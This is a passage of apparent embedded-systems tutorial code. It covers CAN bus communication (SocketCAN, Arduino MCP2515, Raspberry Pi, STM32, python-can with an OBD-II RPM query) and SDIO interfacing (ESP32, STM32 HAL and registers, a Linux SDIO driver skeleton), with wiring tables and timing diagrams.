    struct ifreq ifr;
    struct can_frame frame;

    // Create socket
    if ((s = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) {
        perror("Socket");
        return 1;
    }

    // Specify can0 interface
    strcpy(ifr.ifr_name, "can0");
    ioctl(s, SIOCGIFINDEX, &ifr);

    // Bind socket to can0
    memset(&addr, 0, sizeof(addr));
    addr.can_family = AF_CAN;
    addr.can_ifindex = ifr.ifr_ifindex;

    if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("Bind");
        return 1;
    }

    // Prepare frame
    frame.can_id = 0x123;       // Standard ID
    frame.can_dlc = 4;          // Data length
    frame.data[0] = 0x11;
    frame.data[1] = 0x22;
    frame.data[2] = 0x33;
    frame.data[3] = 0x44;

    // Send frame
    if (write(s, &frame, sizeof(struct can_frame)) != sizeof(struct can_frame)) {
        perror("Write");
        return 1;
    }

    printf("Sent CAN frame: ID=0x%X, Data=", frame.can_id);
    for (int i = 0; i < frame.can_dlc; i++) {
        printf("%02X ", frame.data[i]);
    }
    printf("\n");

    // Receive frame
    struct can_frame rx_frame;
    int nbytes = read(s, &rx_frame, sizeof(struct can_frame));

    if (nbytes < 0) {
        perror("Read");
        return 1;
    }

    printf("Received CAN frame: ID=0x%X, DLC=%d, Data=",
           rx_frame.can_id, rx_frame.can_dlc);
    for (int i = 0; i < rx_frame.can_dlc; i++) {
        printf("%02X ", rx_frame.data[i]);
    }
    printf("\n");

    close(s);
    return 0;
}

gcc socketcan_example.c -o socketcan_example
./socketcan_example

// Filter example: only receive ID 0x100-0x1FF
struct can_filter rfilter[1];
rfilter[0].can_id   = 0x100;
rfilter[0].can_mask = 0x700;  // Mask bits 8-10

setsockopt(s, SOL_CAN_RAW, CAN_RAW_FILTER, &rfilter, sizeof(rfilter));

Arduino Uno         MCP2515 Module
Pin 13 (SCK)   →    SCK
Pin 12 (MISO)  ←    SO
Pin 11 (MOSI)  →    SI
Pin 10 (SS)    →    CS
5V             →    VCC
GND            →    GND
                    CANH → CAN Bus High
                    CANL → CAN Bus Low

Arduino IDE: Library Manager → Install "mcp2515" by autowp

#include <mcp2515.h>

MCP2515 mcp2515(10);  // CS pin 10

struct can_frame canMsg;

void setup() {
  Serial.begin(115200);

  // Initialize MCP2515 at 500kbps with 8MHz crystal
  mcp2515.reset();
  mcp2515.setBitrate(CAN_500KBPS, MCP_8MHZ);
  mcp2515.setNormalMode();

  Serial.println("MCP2515 Initialized");
}

void loop() {
  // Prepare message
  canMsg.can_id  = 0x123;
  canMsg.can_dlc = 4;
  canMsg.data[0] = 0xAA;
  canMsg.data[1] = 0xBB;
  canMsg.data[2] = 0xCC;
  canMsg.data[3] = 0xDD;

  // Send message
  mcp2515.sendMessage(&canMsg);

  Serial.println("Message sent: ID=0x123");
  delay(1000);
}

#include <mcp2515.h>

MCP2515 mcp2515(10);

void setup() {
  Serial.begin(115200);

  mcp2515.reset();
  mcp2515.setBitrate(CAN_500KBPS, MCP_8MHZ);
  mcp2515.setNormalMode();

  Serial.println("Waiting for CAN messages...");
}

void loop() {
  struct can_frame canMsg;

  // Check if message available
  if (mcp2515.readMessage(&canMsg) == MCP2515::ERROR_OK) {
    Serial.print("ID: 0x");
    Serial.print(canMsg.can_id, HEX);
    Serial.print(" DLC: ");
    Serial.print(canMsg.can_dlc);
    Serial.print(" Data: ");

    for (int i = 0; i < canMsg.can_dlc; i++) {
      Serial.print("0x");
      Serial.print(canMsg.data[i], HEX);
      Serial.print(" ");
    }
    Serial.println();
  }
}

void setup() {
  Serial.begin(115200);

  mcp2515.reset();
  mcp2515.setBitrate(CAN_500KBPS, MCP_8MHZ);

  // Filter to receive only ID 0x100-0x10F
  struct can_filter filter;
  filter.can_id = 0x100;
  filter.can_mask = 0x7F0;  // Mask lower 4 bits

  mcp2515.setFilter(filter);
  mcp2515.setNormalMode();

  Serial.println("Listening for IDs 0x100-0x10F");
}

Raspberry Pi    MCP2515
BCM 11 (SCLK)  → SCK
BCM 10 (MOSI)  → SI
BCM 9  (MISO)  ← SO
BCM 8  (CE0)   → CS
BCM 25         → INT (optional)
3.3V           → VCC
GND            → GND

# Enable SPI interface
sudo raspi-config
# Interface Options → SPI → Enable

# Edit boot config
sudo nano /boot/config.txt

# Add these lines:
dtparam=spi=on
dtoverlay=mcp2515-can0,oscillator=8000000,interrupt=25
dtoverlay=spi0-hw-cs

# Reboot
sudo reboot

# Bring up CAN interface at 500 kbps
sudo ip link set can0 up type can bitrate 500000

# Auto-start on boot
sudo nano /etc/network/interfaces
# Add:
auto can0
iface can0 inet manual
    pre-up /sbin/ip link set can0 type can bitrate 500000
    up /sbin/ifconfig can0 up
    down /sbin/ifconfig can0 down

#include "main.h"

CAN_HandleTypeDef hcan1;

// Configure CAN
void CAN_Config(void) {
    CAN_FilterTypeDef canFilterConfig;

    // Configure filter to accept all messages
    canFilterConfig.FilterBank = 0;
    canFilterConfig.FilterMode = CAN_FILTERMODE_IDMASK;
    canFilterConfig.FilterScale = CAN_FILTERSCALE_32BIT;
    canFilterConfig.FilterIdHigh = 0x0000;
    canFilterConfig.FilterIdLow = 0x0000;
    canFilterConfig.FilterMaskIdHigh = 0x0000;
    canFilterConfig.FilterMaskIdLow = 0x0000;
    canFilterConfig.FilterFIFOAssignment = CAN_RX_FIFO0;
    canFilterConfig.FilterActivation = ENABLE;

    HAL_CAN_ConfigFilter(&hcan1, &canFilterConfig);

    // Start CAN
    HAL_CAN_Start(&hcan1);

    // Enable RX interrupt
    HAL_CAN_ActivateNotification(&hcan1, CAN_IT_RX_FIFO0_MSG_PENDING);
}

// Send CAN message
void CAN_Send(uint32_t id, uint8_t *data, uint8_t len) {
    CAN_TxHeaderTypeDef txHeader;
    uint32_t txMailbox;

    txHeader.StdId = id;              // Standard ID
    txHeader.ExtId = 0;
    txHeader.RTR = CAN_RTR_DATA;      // Data frame
    txHeader.IDE = CAN_ID_STD;        // Standard ID
    txHeader.DLC = len;               // Data length
    txHeader.TransmitGlobalTime = DISABLE;

    // Transmit message
    if (HAL_CAN_AddTxMessage(&hcan1, &txHeader, data, &txMailbox) != HAL_OK) {
        Error_Handler();
    }
}

// Receive interrupt callback
void HAL_CAN_RxFifo0MsgPendingCallback(CAN_HandleTypeDef *hcan) {
    CAN_RxHeaderTypeDef rxHeader;
    uint8_t rxData[8];

    // Receive message
    if (HAL_CAN_GetRxMessage(hcan, CAN_RX_FIFO0, &rxHeader, rxData) == HAL_OK) {
        // Process received message
        printf("Received ID: 0x%lX, DLC: %lu, Data: ",
               rxHeader.StdId, rxHeader.DLC);
        for (int i = 0; i < rxHeader.DLC; i++) {
            printf("%02X ", rxData[i]);
        }
        printf("\n");
    }
}

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_CAN1_Init();

    CAN_Config();

    uint8_t txData[4] = {0x11, 0x22, 0x33, 0x44};

    while (1) {
        CAN_Send(0x123, txData, 4);
        HAL_Delay(1000);
    }
}

// Accept only ID 0x100-0x1FF
canFilterConfig.FilterIdHigh = 0x100 << 5;      // ID in upper bits
canFilterConfig.FilterIdLow = 0x0000;
canFilterConfig.FilterMaskIdHigh = 0x700 << 5;  // Mask
canFilterConfig.FilterMaskIdLow = 0x0000;

pip install python-can

import can
import time

# Create bus instance (SocketCAN interface)
bus = can.interface.Bus(channel='can0', bustype='socketcan')

# Send a message
msg = can.Message(
    arbitration_id=0x123,
    data=[0x11, 0x22, 0x33, 0x44, 0x55],
    is_extended_id=False
)

try:
    bus.send(msg)
    print(f"Message sent on {bus.channel_info}")
except can.CanError:
    print("Message NOT sent")

# Receive messages
print("Waiting for messages...")
for message in bus:
    print(f"ID: 0x{message.arbitration_id:X} "
          f"DLC: {message.dlc} "
          f"Data: {message.data.hex()}")

    # Exit after 10 messages
    if message.arbitration_id == 0x200:
        break

bus.shutdown()

# Filter to receive only specific IDs
filters = [
    {"can_id": 0x100, "can_mask": 0x7F0, "extended": False},  # 0x100-0x10F
    {"can_id": 0x200, "can_mask": 0x7FF, "extended": False},  # Exact 0x200
]

bus = can.interface.Bus(channel='can0', bustype='socketcan',
                        can_filters=filters)

from can import Message
from can.interfaces.socketcan import SocketcanBus

bus = SocketcanBus(channel='can0')

# Create periodic message (every 100ms)
msg = Message(arbitration_id=0x123,
              data=[0xAA, 0xBB, 0xCC, 0xDD],
              is_extended_id=False)

task = bus.send_periodic(msg, 0.1)  # 100ms period

time.sleep(5)  # Send for 5 seconds

task.stop()
bus.shutdown()

import can

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# Log to ASC format
logger = can.ASCWriter('logfile.asc')

for message in bus:
    logger(message)

logger.stop()
bus.shutdown()

# Setup virtual CAN first (bash):
# sudo ip link add dev vcan0 type vcan
# sudo ip link set up vcan0

import can
import threading
import time

def sender():
    bus = can.interface.Bus(channel='vcan0', bustype='socketcan')
    msg = can.Message(arbitration_id=0x123, data=[1, 2, 3, 4])

    while True:
        bus.send(msg)
        time.sleep(1)

def receiver():
    bus = can.interface.Bus(channel='vcan0', bustype='socketcan')

    for message in bus:
        print(f"Received: {message}")

# Run sender and receiver in parallel
t1 = threading.Thread(target=sender, daemon=True)
t2 = threading.Thread(target=receiver, daemon=True)

t1.start()
t2.start()

time.sleep(10)  # Run for 10 seconds

import can
import time

# OBD-II uses CAN ID 0x7DF for requests, 0x7E8+ for responses
bus = can.interface.Bus(channel='can0', bustype='socketcan')

# Request engine RPM (PID 0x0C)
request = can.Message(
    arbitration_id=0x7DF,
    data=[0x02, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00],
    is_extended_id=False
)

bus.send(request)

# Wait for response
response = bus.recv(timeout=1.0)

if response and response.arbitration_id == 0x7E8:
    # Parse RPM from response
    # Response format: [bytes_returned, 0x41, PID, data_A, data_B, ...]
    rpm = ((response.data[3] << 8) + response.data[4]) / 4
    print(f"Engine RPM: {rpm}")

bus.shutdown()

import can
import threading

bus = can.interface.Bus(channel='vcan0', bustype='socketcan')

def send_high_priority():
    msg = can.Message(arbitration_id=0x100, data=[0xFF])
    bus.send(msg)
    print("High priority (0x100) sent")

def send_low_priority():
    msg = can.Message(arbitration_id=0x700, data=[0xAA])
    bus.send(msg)
    print("Low priority (0x700) sent")

# Send simultaneously - 0x100 will win arbitration
t1 = threading.Thread(target=send_high_priority)
t2 = threading.Thread(target=send_low_priority)

t1.start()
t2.start()

t1.join()
t2.join()

# Monitor order received
for i in range(2):
    msg = bus.recv()
    print(f"Received ID: 0x{msg.arbitration_id:X}")

bus.shutdown()

For High-Speed SDIO (> 25 MHz):
- Series termination: 22-33Ω resistors on CLK and CMD near host
- Pull-up resistors: 10-50kΩ on CMD and DAT lines (often internal)
- AC coupling: 0.1µF capacitors for voltage level shifting
- Length matching: Critical for 4-bit mode at high speeds

Bit 47: Start bit (0)
Bit 46: Transmission bit (1 = host to card)
Bits 45-40: Command index (CMD0-CMD63)
Bits 39-8: Argument (32 bits)
Bits 7-1: CRC7 checksum
Bit 0: End bit (1)

         ___     ___     ___     ___     ___     ___     ___     ___
CLK   __|   |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___

CMD   _____  _______________________________________________  ___________
         __|_____________COMMAND (48 bits)_______________|__
      Start                                              End
       (0)                                               (1)

           <------------- t_CR (Response Delay) ------------->

CMD   _______________  _______________________________________________
                     |_____________RESPONSE (48 bits)_______________|
                    Start                                          End

         ___     ___     ___     ___     ___     ___     ___     ___
CLK   __|   |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___
         ^       ^       ^       ^       ^       ^       ^       ^
         |       |       |       |       |       |       |       |
      Sample  Sample  Sample  Sample  Sample  Sample  Sample  Sample

         ____    ____    ____    ____    ____    ____    ____    ____
DAT0  __|_B0_|__|_B4_|__|_B8_|__|B12_|__|B16_|__|B20_|__|B24_|__|B28_|__

         ____    ____    ____    ____    ____    ____    ____    ____
DAT1  __|_B1_|__|_B5_|__|_B9_|__|B13_|__|B17_|__|B21_|__|B25_|__|B29_|__

         ____    ____    ____    ____    ____    ____    ____    ____
DAT2  __|_B2_|__|_B6_|__|B10_|__|B14_|__|B18_|__|B22_|__|B26_|__|B30_|__

         ____    ____    ____    ____    ____    ____    ____    ____
DAT3  __|_B3_|__|_B7_|__|B11_|__|B15_|__|B19_|__|B23_|__|B27_|__|B31_|__

      4 bits transferred per clock cycle
      One 32-bit word transferred in 8 clock cycles

         ___     ___     ___     ___     ___     ___     ___     ___
CLK   __|   |___|   |___|   |___|   |___|   |___|   |___|   |___|   |___

                                  Interrupt Period
DAT1  _______________________________|  |_________________________________
                                     |__|
                                   (Low pulse)

      Note: DAT1 used for interrupts in 1-bit mode or when data transfer inactive

#include "driver/sdmmc_host.h"
#include "driver/sdspi_host.h"
#include "sdmmc_cmd.h"
#include "esp_vfs_fat.h"

#define SDIO_CLK_PIN  14
#define SDIO_CMD_PIN  15
#define SDIO_D0_PIN   2
#define SDIO_D1_PIN   4
#define SDIO_D2_PIN   12
#define SDIO_D3_PIN   13

void sdio_init() {
    // Configure SDIO host
    sdmmc_host_t host = SDMMC_HOST_DEFAULT();
    host.flags = SDMMC_HOST_FLAG_4BIT;  // Use 4-bit mode
    host.max_freq_khz = SDMMC_FREQ_HIGHSPEED;  // 50 MHz

    // Configure slot
    sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT();
    slot_config.width = 4;  // 4-bit mode
    slot_config.clk = SDIO_CLK_PIN;
    slot_config.cmd = SDIO_CMD_PIN;
    slot_config.d0 = SDIO_D0_PIN;
    slot_config.d1 = SDIO_D1_PIN;
    slot_config.d2 = SDIO_D2_PIN;
    slot_config.d3 = SDIO_D3_PIN;

    // Initialize SDIO
    sdmmc_card_t *card;
    esp_err_t ret = sdmmc_host_init();
    if (ret != ESP_OK) {
        printf("SDIO host init failed\n");
        return;
    }

    ret = sdmmc_host_init_slot(SDMMC_HOST_SLOT_1, &slot_config);
    if (ret != ESP_OK) {
        printf("SDIO slot init failed\n");
        return;
    }
}

// Read SDIO register
uint8_t sdio_read_reg(sdmmc_card_t *card, uint32_t func, uint32_t reg) {
    uint8_t data;
    sdmmc_io_read_byte(card, func, reg, &data);
    return data;
}

// Write SDIO register
void sdio_write_reg(sdmmc_card_t *card, uint32_t func, uint32_t reg, uint8_t val) {
    sdmmc_io_write_byte(card, func, reg, val);
}

// Read multiple bytes
esp_err_t sdio_read_bytes(sdmmc_card_t *card, uint32_t func,
                          uint32_t addr, void *dst, size_t size) {
    return sdmmc_io_read_bytes(card, func, addr, dst, size);
}

// Write multiple bytes
esp_err_t sdio_write_bytes(sdmmc_card_t *card, uint32_t func,
                           uint32_t addr, const void *src, size_t size) {
    return sdmmc_io_write_bytes(card, func, addr, src, size);
}

#include "stm32f4xx_hal.h"

SD_HandleTypeDef hsd;

void SDIO_Init(void) {
    hsd.Instance = SDIO;
    hsd.Init.ClockEdge = SDIO_CLOCK_EDGE_RISING;
    hsd.Init.ClockBypass = SDIO_CLOCK_BYPASS_DISABLE;
    hsd.Init.ClockPowerSave = SDIO_CLOCK_POWER_SAVE_DISABLE;
    hsd.Init.BusWide = SDIO_BUS_WIDE_4B;  // 4-bit mode
    hsd.Init.HardwareFlowControl = SDIO_HARDWARE_FLOW_CONTROL_DISABLE;
    hsd.Init.ClockDiv = 0;  // Maximum speed

    // Initialize SDIO peripheral
    if (HAL_SD_Init(&hsd) != HAL_OK) {
        Error_Handler();
    }

    // Configure for 4-bit wide bus
    if (HAL_SD_ConfigWideBusOperation(&hsd, SDIO_BUS_WIDE_4B) != HAL_OK) {
        Error_Handler();
    }
}

// Read single block (512 bytes)
HAL_StatusTypeDef SDIO_ReadBlock(uint8_t *buffer, uint32_t block_addr) {
    return HAL_SD_ReadBlocks(&hsd, buffer, block_addr, 1, HAL_MAX_DELAY);
}

// Write single block (512 bytes)
HAL_StatusTypeDef SDIO_WriteBlock(uint8_t *buffer, uint32_t block_addr) {
    return HAL_SD_WriteBlocks(&hsd, buffer, block_addr, 1, HAL_MAX_DELAY);
}

// Read multiple blocks with DMA
HAL_StatusTypeDef SDIO_ReadBlocks_DMA(uint8_t *buffer, uint32_t block_addr, uint32_t num_blocks) {
    return HAL_SD_ReadBlocks_DMA(&hsd, buffer, block_addr, num_blocks);
}

// Write multiple blocks with DMA
HAL_StatusTypeDef SDIO_WriteBlocks_DMA(uint8_t *buffer, uint32_t block_addr, uint32_t num_blocks) {
    return HAL_SD_WriteBlocks_DMA(&hsd, buffer, block_addr, num_blocks);
}

// Get card information
void SDIO_GetCardInfo(void) {
    HAL_SD_CardInfoTypeDef cardInfo;
    HAL_SD_GetCardInfo(&hsd, &cardInfo);

    printf("Card Type: %d\n", cardInfo.CardType);
    printf("Card Version: %d\n", cardInfo.CardVersion);
    printf("Block Size: %d bytes\n", cardInfo.BlockSize);
    printf("Block Count: %d\n", cardInfo.BlockNbr);
    printf("Capacity: %llu MB\n",
           (uint64_t)cardInfo.BlockNbr * cardInfo.BlockSize / 1024 / 1024);
}

// DMA transfer complete callback
void HAL_SD_TxCpltCallback(SD_HandleTypeDef *hsd) {
    // Transfer complete - handle in application
}

void HAL_SD_RxCpltCallback(SD_HandleTypeDef *hsd) {
    // Reception complete - handle in application
}

#include <linux/mmc/sdio.h>
#include <linux/mmc/sdio_func.h>
#include <linux/mmc/sdio_ids.h>
#include <linux/mmc/card.h>
#include <linux/module.h>

struct sdio_driver my_sdio_driver;

// SDIO device probe function
static int my_sdio_probe(struct sdio_func *func, const struct sdio_device_id *id) {
    int ret;

    printk(KERN_INFO "SDIO device detected: Vendor 0x%04x, Device 0x%04x\n",
           func->vendor, func->device);

    // Enable the SDIO function
    sdio_claim_host(func);
    ret = sdio_enable_func(func);
    if (ret) {
        printk(KERN_ERR "Failed to enable SDIO function\n");
        sdio_release_host(func);
        return ret;
    }

    // Set block size (typically 512 bytes)
    ret = sdio_set_block_size(func, 512);
    if (ret) {
        printk(KERN_ERR "Failed to set block size\n");
        sdio_disable_func(func);
        sdio_release_host(func);
        return ret;
    }

    sdio_release_host(func);
    return 0;
}

// SDIO device remove function
static void my_sdio_remove(struct sdio_func *func) {
    sdio_claim_host(func);
    sdio_disable_func(func);
    sdio_release_host(func);
    printk(KERN_INFO "SDIO device removed\n");
}

// Read bytes from SDIO function
static int sdio_read_data(struct sdio_func *func, u32 addr, void *dst, int count) {
    int ret;

    sdio_claim_host(func);
    ret = sdio_memcpy_fromio(func, dst, addr, count);
    sdio_release_host(func);

    return ret;
}

// Write bytes to SDIO function
static int sdio_write_data(struct sdio_func *func, u32 addr, void *src, int count) {
    int ret;

    sdio_claim_host(func);
    ret = sdio_memcpy_toio(func, addr, src, count);
    sdio_release_host(func);

    return ret;
}

// Read single byte from register
static u8 sdio_read_byte(struct sdio_func *func, unsigned int addr) {
    int ret;
    u8 val;

    sdio_claim_host(func);
    val = sdio_readb(func, addr, &ret);
    sdio_release_host(func);

    return val;
}

// Write single byte to register
static void sdio_write_byte(struct sdio_func *func, unsigned int addr, u8 val) {
    sdio_claim_host(func);
    sdio_writeb(func, val, addr, NULL);
    sdio_release_host(func);
}

// Device ID table
static const struct sdio_device_id my_sdio_ids[] = {
    { SDIO_DEVICE(0x02d0, 0x4330) },  // Example: Broadcom WiFi
    { /* end */ }
};
MODULE_DEVICE_TABLE(sdio, my_sdio_ids);

// SDIO driver structure
static struct sdio_driver my_sdio_driver = {
    .name = "my_sdio_driver",
    .id_table = my_sdio_ids,
    .probe = my_sdio_probe,
    .remove = my_sdio_remove,
};

// Module init
static int __init my_sdio_init(void) {
    return sdio_register_driver(&my_sdio_driver);
}

// Module exit
static void __exit my_sdio_exit(void) {
    sdio_unregister_driver(&my_sdio_driver);
}

module_init(my_sdio_init);
module_exit(my_sdio_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Example SDIO Driver");

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/types.h>

// This example shows conceptual SDIO access on Raspberry Pi
// Actual implementation depends on specific SDIO device

#define SDIO_FUNC_0  0  // Common I/O Area (CIA)
#define SDIO_FUNC_1  1  // I/O Function 1
#define SDIO_FUNC_2  2  // I/O Function 2

// Common SDIO registers
#define SDIO_CCCR_REV       0x00  // CCCR/SDIO revision
#define SDIO_SD_SPEC        0x01  // SD specification revision
#define SDIO_IO_ENABLE      0x02  // I/O Enable
#define SDIO_IO_READY       0x03  // I/O Ready
#define SDIO_INT_ENABLE     0x04  // Interrupt Enable
#define SDIO_INT_PENDING    0x05  // Interrupt Pending
#define SDIO_IO_ABORT       0x06  // I/O Abort
#define SDIO_BUS_IF_CTRL    0x07  // Bus Interface Control

void sdio_enable_function(int func_num) {
    // Enable specific SDIO function
    printf("Enabling SDIO function %d\n", func_num);
    // Implementation would use ioctl calls to MMC subsystem
}

void sdio_set_block_size(int func_num, int block_size) {
    // Set block size for function
    printf("Setting block size to %d for function %d\n", block_size, func_num);
}

void sdio_enable_interrupts(int func_mask) {
    // Enable interrupts for specified functions
    printf("Enabling interrupts for functions: 0x%02x\n", func_mask);
}

int main() {
    printf("Raspberry Pi SDIO Example\n");

    // Initialize SDIO
    sdio_enable_function(SDIO_FUNC_1);
    sdio_set_block_size(SDIO_FUNC_1, 512);
    sdio_enable_interrupts(0x02);  // Enable interrupts for function 1

    return 0;
}

#include <stdint.h>

// STM32F4 SDIO register definitions
#define SDIO_BASE           0x40012C00
#define SDIO_POWER          (*(volatile uint32_t *)(SDIO_BASE + 0x00))
#define SDIO_CLKCR          (*(volatile uint32_t *)(SDIO_BASE + 0x04))
#define SDIO_ARG            (*(volatile uint32_t *)(SDIO_BASE + 0x08))
#define SDIO_CMD            (*(volatile uint32_t *)(SDIO_BASE + 0x0C))
#define SDIO_RESPCMD        (*(volatile uint32_t *)(SDIO_BASE + 0x10))
#define SDIO_RESP1          (*(volatile uint32_t *)(SDIO_BASE + 0x14))
#define SDIO_RESP2          (*(volatile uint32_t *)(SDIO_BASE + 0x18))
#define SDIO_RESP3          (*(volatile uint32_t *)(SDIO_BASE + 0x1C))
#define SDIO_RESP4          (*(volatile uint32_t *)(SDIO_BASE + 0x20))
#define SDIO_DTIMER         (*(volatile uint32_t *)(SDIO_BASE + 0x24))
#define SDIO_DLEN           (*(volatile uint32_t *)(SDIO_BASE + 0x28))
#define SDIO_DCTRL          (*(volatile uint32_t *)(SDIO_BASE + 0x2C))
#define SDIO_STA            (*(volatile uint32_t *)(SDIO_BASE + 0x34))
#define SDIO_ICR            (*(volatile uint32_t *)(SDIO_BASE + 0x38))
#define SDIO_FIFO           (*(volatile uint32_t *)(SDIO_BASE + 0x80))

// SDIO Command register bits
#define SDIO_CMD_WAITRESP_SHORT   (1 << 6)
#define SDIO_CMD_WAITRESP_LONG    (2 << 6)
#define SDIO_CMD_CPSMEN           (1 << 10)

// SDIO Status register bits
#define SDIO_STA_CCRCFAIL   (1 << 0)
#define SDIO_STA_DCRCFAIL   (1 << 1)
#define SDIO_STA_CTIMEOUT   (1 << 2)
#define SDIO_STA_DTIMEOUT   (1 << 3)
#define SDIO_STA_CMDREND    (1 << 6)
#define SDIO_STA_CMDSENT    (1 << 7)

// Common SDIO commands
#define CMD0_GO_IDLE_STATE      0
#define CMD5_IO_SEND_OP_COND    5
#define CMD3_SEND_RELATIVE_ADDR 3
#define CMD7_SELECT_CARD        7
#define CMD52_IO_RW_DIRECT      52
#define CMD53_IO_RW_EXTENDED    53

void sdio_init(void) {
    // Enable SDIO clock (assume RCC already configured)

    // Power on SDIO
    SDIO_POWER = 0x03;  // Power ON

    // Configure clock: 48 MHz / (2 + 118) = 400 kHz for initialization
    SDIO_CLKCR = 118 |   // Clock divider
                 (0 << 11) |  // 1-bit bus width
                 (1 << 8);    // Clock enable

    // Wait for power on
    for (volatile int i = 0; i < 10000; i++);
}

uint32_t sdio_send_command(uint8_t cmd_index, uint32_t argument, uint8_t response_type) {
    // Set argument
    SDIO_ARG = argument;

    // Clear flags
    SDIO_ICR = 0x7FF;

    // Send command
    uint32_t cmd_reg = cmd_index | SDIO_CMD_CPSMEN;

    if (response_type == 1) {
        cmd_reg |= SDIO_CMD_WAITRESP_SHORT;
    } else if (response_type == 2) {
        cmd_reg |= SDIO_CMD_WAITRESP_LONG;
    }

    SDIO_CMD = cmd_reg;

    // Wait for command sent or response
    if (response_type == 0) {
        while (!(SDIO_STA & SDIO_STA_CMDSENT));
    } else {
        while (!(SDIO_STA & SDIO_STA_CMDREND) &&
               !(SDIO_STA & SDIO_STA_CTIMEOUT) &&
               !(SDIO_STA & SDIO_STA_CCRCFAIL));

        if (SDIO_STA & (SDIO_STA_CTIMEOUT | SDIO_STA_CCRCFAIL)) {
            return 0;  // Error
        }
    }

    return SDIO_RESP1;
}

void sdio_set_bus_width(uint8_t width) {
    // width: 0 = 1-bit, 1 = 4-bit, 2 = 8-bit
    uint32_t clkcr = SDIO_CLKCR;
    clkcr &= ~(3 << 11);
    clkcr |= (width << 11);
    SDIO_CLKCR = clkcr;
}

void sdio_set_clock_speed(uint32_t clock_div) {
    uint32_t clkcr = SDIO_CLKCR;
    clkcr &= ~0xFF;
    clkcr |= clock_div;
    SDIO_CLKCR = clkcr;
}

uint8_t sdio_read_byte(uint8_t func, uint32_t addr) {
    // CMD52: IO_RW_DIRECT for reading
    uint32_t arg = (func << 28) |     // Function number
                   (addr << 9) |       // Register address
                   (0 << 31) |         // Read operation
                   (0 << 27);          // RAW flag

    uint32_t response = sdio_send_command(CMD52_IO_RW_DIRECT, arg, 1);
    return response & 0xFF;
}

void sdio_write_byte(uint8_t func, uint32_t addr, uint8_t data) {
    // CMD52: IO_RW_DIRECT for writing
    uint32_t arg = (func << 28) |     // Function number
                   (addr << 9) |       // Register address
                   (1 << 31) |         // Write operation
                   (data & 0xFF);      // Data to write

    sdio_send_command(CMD52_IO_RW_DIRECT, arg, 1);
}

#include "stm32f4xx_hal.h"

SD_HandleTypeDef hsd;
DMA_HandleTypeDef hdma_sdio_rx;
DMA_HandleTypeDef hdma_sdio_tx;

volatile uint8_t transfer_complete = 0;

void SDIO_DMA_Init(void) {
    // Enable DMA2 clock
    __HAL_RCC_DMA2_CLK_ENABLE();

    // Configure DMA for SDIO RX (Channel 4, Stream 3)
    hdma_sdio_rx.Instance = DMA2_Stream3;
    hdma_sdio_rx.Init.Channel = DMA_CHANNEL_4;
    hdma_sdio_rx.Init.Direction = DMA_PERIPH_TO_MEMORY;
    hdma_sdio_rx.Init.PeriphInc = DMA_PINC_DISABLE;
    hdma_sdio_rx.Init.MemInc = DMA_MINC_ENABLE;
    hdma_sdio_rx.Init.PeriphDataAlignment = DMA_PDATAALIGN_WORD;
    hdma_sdio_rx.Init.MemDataAlignment = DMA_MDATAALIGN_WORD;
    hdma_sdio_rx.Init.Mode = DMA_PFCTRL;
    hdma_sdio_rx.Init.Priority = DMA_PRIORITY_VERY_HIGH;
    hdma_sdio_rx.Init.FIFOMode = DMA_FIFOMODE_ENABLE;
    hdma_sdio_rx.Init.FIFOThreshold = DMA_FIFO_THRESHOLD_FULL;
    hdma_sdio_rx.Init.MemBurst = DMA_MBURST_INC4;
    hdma_sdio_rx.Init.PeriphBurst = DMA_PBURST_INC4;

    HAL_DMA_Init(&hdma_sdio_rx);
    __HAL_LINKDMA(&hsd, hdmarx, hdma_sdio_rx);

    // Configure DMA for SDIO TX (Channel 4, Stream 6)
    hdma_sdio_tx.Instance = DMA2_Stream6;
    hdma_sdio_tx.Init.Channel = DMA_CHANNEL_4;
    hdma_sdio_tx.Init.Direction = DMA_MEMORY_TO_PERIPH;
    hdma_sdio_tx.Init.PeriphInc = DMA_PINC_DISABLE;
    hdma_sdio_tx.Init.MemInc = DMA_MINC_ENABLE;
    hdma_sdio_tx.Init.PeriphDataAlignment = DMA_PDATAALIGN_WORD;
    hdma_sdio_tx.Init.MemDataAlignment = DMA_MDATAALIGN_WORD;
    hdma_sdio_tx.Init.Mode = DMA_PFCTRL;
    hdma_sdio_tx.Init.Priority = DMA_PRIORITY_VERY_HIGH;
    hdma_sdio_tx.Init.FIFOMode = DMA_FIFOMODE_ENABLE;
    hdma_sdio_tx.Init.FIFOThreshold = DMA_FIFO_THRESHOLD_FULL;
    hdma_sdio_tx.Init.MemBurst = DMA_MBURST_INC4;
    hdma_sdio_tx.Init.PeriphBurst = DMA_PBURST_INC4;

    HAL_DMA_Init(&hdma_sdio_tx);
    __HAL_LINKDMA(&hsd, hdmatx, hdma_sdio_tx);

    // Enable DMA interrupts
    HAL_NVIC_SetPriority(DMA2_Stream3_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(DMA2_Stream3_IRQn);
    HAL_NVIC_SetPriority(DMA2_Stream6_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(DMA2_Stream6_IRQn);
}

// High-performance block read with DMA
HAL_StatusTypeDef SDIO_ReadBlocks_HighSpeed(uint8_t *buffer, uint32_t block_addr,
                                            uint32_t num_blocks) {
    transfer_complete = 0;

    HAL_StatusTypeDef status = HAL_SD_ReadBlocks_DMA(&hsd, buffer, block_addr, num_blocks);

    if (status != HAL_OK) {
        return status;
    }

    // Wait for DMA transfer complete (or use callback)
    while (!transfer_complete) {
        // Can do other work here
    }

    return HAL_OK;
}

// DMA callbacks
void HAL_SD_RxCpltCallback(SD_HandleTypeDef *hsd) {
    transfer_complete = 1;
}

void HAL_SD_TxCpltCallback(SD_HandleTypeDef *hsd) {
    transfer_complete = 1;
}

void DMA2_Stream3_IRQHandler(void) {
    HAL_DMA_IRQHandler(&hdma_sdio_rx);
}

void DMA2_Stream6_IRQHandler(void) {
    HAL_DMA_IRQHandler(&hdma_sdio_tx);
}

// Enable SDIO interrupt
